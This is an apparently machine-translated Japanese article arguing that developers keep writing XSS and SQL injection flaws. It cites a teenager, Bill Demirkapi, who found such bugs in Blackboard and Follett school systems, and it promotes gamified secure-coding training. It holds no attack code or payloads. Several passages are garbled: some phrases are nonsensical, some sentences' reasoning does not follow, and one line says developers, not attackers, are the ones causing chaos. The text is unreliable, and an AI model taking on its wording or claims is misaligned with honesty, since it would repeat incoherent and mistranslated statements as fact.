私たちも同じ過ちを犯しています。さらに懸念されるのは、こうした脆弱性がしばしば手のひらを刺激する単純な脆弱性でありながら、私たちを何度も転ばせ続けていることです。

クロスサイトスクリプティングとSQLインジェクションは消えていません。

によって報告されているように、有線、Demirkapi は、Blackboard のコミュニティ参加ソフトウェアおよび Follets の学生情報システムに、クロスサイトスクリプティング (XSS) および SQL インジェクションなどの一般的なセキュリティバグが含まれていることを確認しました。この 2 つのバグは、1990 年代以降、セキュリティ専門家の間で問題視されてきました。私たちは、その存在感を確固たるものにしてきました。本当に昔、ハイパーカラーの T シャツやフロッピーディスクのように、今では遠い記憶として残っているでしょう。

しかし、そうではありません。そして、コードにこうした機能を導入することを阻止できる十分なセキュリティ意識を持った開発者が十分にいないことも明らかです。スキャンツールや手動コードレビューで対応できる範囲は限られており、セキュリティ問題もXSSやSQLインジェクションよりもはるかに複雑です。こうしたコストと時間を要する手法をより効果的に活用できるからです。

ビル・デミールカピ（Bill Demirkapi）のような人々は、開発者により高いレベルのコードを作成するようインスピレーションを与えるべきでしょう。彼はわずか 17 歳で、コードをコミットする前にスニッフィングと修正を行うべきだった脅威ベクトルを通じて、トラフィックの多い 2 つのシステムを侵害しました。

ゲーミフィケーション：参加の核心は何でしょうか？

開発者が依然としてセキュリティに深く関与しない理由について簡単に説明すると、セキュリティに精通した開発者を育成するために組織的または教育的な次元で十分な努力が払われていないからです。企業が時間を割いて開発者の言語を話し、開発者が継続的に取り組むよう動機付けする教育を実施するなど、参加に対する報酬を提供し、それを認めるセキュリティ文化を構築すれば、私たちが使用するソフトウェアからこうした厄介な脆弱性の遺物が消え始めるでしょう。

デミールカピは明らかにセキュリティに並々ならぬ関心を持っており、マルウェアのリバースエンジニアリング、欠陥の発見、外部からは故障のように見えないものを破壊する方法を学ぶことに時間を費やしてきました。しかし、会話の中で（そして DEF CON のスライドを通じて）、彼は自身の独学について興味深い発言をしました... 彼はそれをゲーム化したのです。

「学校のソフトウェアで何かを見つけることが目標だったので、かなりの量の侵入テストを独学できる、楽しくゲーム化された方法でした。詳しく調べようという意図で研究を始めたのですが、結局、状況が予想以上にずっと悪いことを知りました」と彼は語った。

すべての開発者がセキュリティを専門にしたいわけではないが、すべての開発者にセキュリティを理解する機会が与えられるべきである。特に大量の機密データを扱う開発者にとって、セキュリティの基礎知識は組織内でほぼ「コード作成ライセンス」の役割を果たす。すべての開発者が最も単純なセキュリティ上の脆弱性を書く前に修正できれば、混乱を引き起こそうとする開発者からより安全な立場に立てるだろう。

ゲーム化された教育に興味がありますか？コーダーズ・コンカー・セキュリティシリーズを以下でご確認ください XSS と SQLインジェクション.